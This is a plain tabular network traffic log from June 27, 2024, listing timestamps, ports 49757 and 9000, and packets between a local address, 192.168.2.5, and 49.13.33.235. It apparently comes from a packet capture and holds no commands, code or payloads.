Jun 27, 2024 06:44:39.037282944 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.037384987 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.037442923 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.037473917 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.037483931 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.037508011 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.037554979 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.037643909 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.037676096 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.037707090 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.037724018 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.037749052 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.037801027 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.037863970 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.037894011 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.037942886 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.037981987 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.038045883 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.038090944 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.060455084 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.060478926 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.060498953 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.060523987 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.060523987 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.060534954 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.060540915 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.060550928 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.060565948 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.060580969 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.060606003 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.060638905 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.060802937 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.060971975 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.066184044 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066235065 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066245079 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.066268921 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066314936 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.066318989 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066351891 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066364050 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.066385984 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066418886 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066427946 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.066452026 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066466093 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.066498995 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.066504955 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066538095 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066569090 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066579103 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.066602945 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066612005 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.066649914 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.066653013 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066694975 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.066701889 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066735029 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066750050 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.066762924 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066796064 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066801071 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.066829920 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066869974 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.066875935 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066909075 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066930056 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.066941023 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.066955090 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.066975117 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.067166090 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.073885918 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.073916912 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.073945999 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.073951006 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.073965073 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.073990107 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.074031115 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.074038029 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.074040890 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.074073076 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.074088097 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.074105024 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.074130058 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.074136019 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.074184895 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.091094017 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.091125011 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.091146946 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.091207981 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.091213942 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.091248035 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.091263056 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.091281891 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.091288090 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.091324091 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.091331959 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.091365099 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.091382027 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.091397047 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.091418028 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.091430902 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.091449022 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.091464996 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.091475010 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.091499090 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.091531038 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.091547012 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.091562986 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.091569901 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.091599941 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.091600895 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.091650009 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.092025995 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.092093945 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.094890118 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.094938993 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.094974041 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.094994068 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.095022917 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.095026970 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.095056057 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.095088005 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.095098972 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.095122099 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.095134020 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.095155001 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.095160961 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.095365047 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.099404097 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.099455118 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.099466085 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.099504948 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.099519014 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.099538088 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.099558115 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.099570036 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.099580050 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.099612951 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.099616051 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.099646091 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.099694014 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.099697113 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.099745035 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.099776983 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.099793911 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.099809885 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.099843025 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.099848032 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.099875927 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.099888086 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.099910975 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.099926949 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.099945068 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.104576111 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.104609013 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.104655981 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.104656935 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.104691029 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.104701042 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.104726076 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.104746103 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.104758024 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.104790926 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.104804993 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.104832888 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.115461111 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.115494013 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.115526915 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.115540981 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.115544081 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.115576029 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.115608931 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.115621090 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.115641117 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.115654945 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.115674973 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.115695953 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.115714073 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.121840954 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.121892929 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.121893883 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.121928930 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.121948004 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.121989965 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.122045040 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.122076988 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.122109890 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.122131109 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.122164965 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.122174978 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.122219086 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.125765085 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.125792027 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.125823975 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.125840902 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.125859976 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.125861883 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.125879049 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.125893116 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.125899076 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.125911951 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.125920057 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.125937939 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.125940084 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.125960112 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.125976086 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.125993013 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.126009941 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.126038074 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.126059055 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.126076937 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.126076937 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.126096010 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.126117945 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.126128912 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.126420021 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.126440048 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.126458883 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.126481056 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.126494884 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.126568079 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.126585960 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.126605034 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.126621962 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.126626015 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.126638889 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.126667023 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.126873016 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.126899004 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.126938105 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.126951933 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.154838085 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.154854059 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.154867887 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.154907942 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.154932022 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.154954910 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.154968977 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.154984951 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.155024052 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.155026913 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.155039072 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.155060053 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.155087948 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.155275106 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.155287981 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.155306101 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.155333042 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.155356884 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.155369997 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.155384064 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.155399084 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.155409098 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.155412912 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.155441999 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.155473948 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.155483961 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.155488968 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.155519962 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.155533075 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.155934095 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.155983925 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.155998945 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.156018019 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.156044960 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.156054020 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.156068087 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.156081915 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.156095982 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.156120062 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.156150103 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.156219006 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.156234026 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.156246901 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.156261921 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.156264067 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.156289101 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.156316042 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.162779093 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.162794113 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.162808895 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.162823915 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.162826061 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.162846088 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.162875891 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.162877083 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.162902117 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.162911892 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.162916899 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.162930965 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.162935972 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.162954092 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.162978888 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.180043936 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.180068970 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.180082083 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.180098057 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.180120945 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.180129051 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.180145025 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.180160046 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.180175066 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.180186987 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.180203915 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.180216074 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.180226088 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.180241108 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.180294991 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.180339098 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.180352926 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.180366993 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.180386066 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.180399895 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.180408955 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.180414915 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.180428982 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.180434942 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.180463076 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.183728933 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.183743954 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.183758020 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.183780909 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.183809042 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.183829069 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.183847904 CEST	9000	49757	49.13.33.235	192.168.2.5
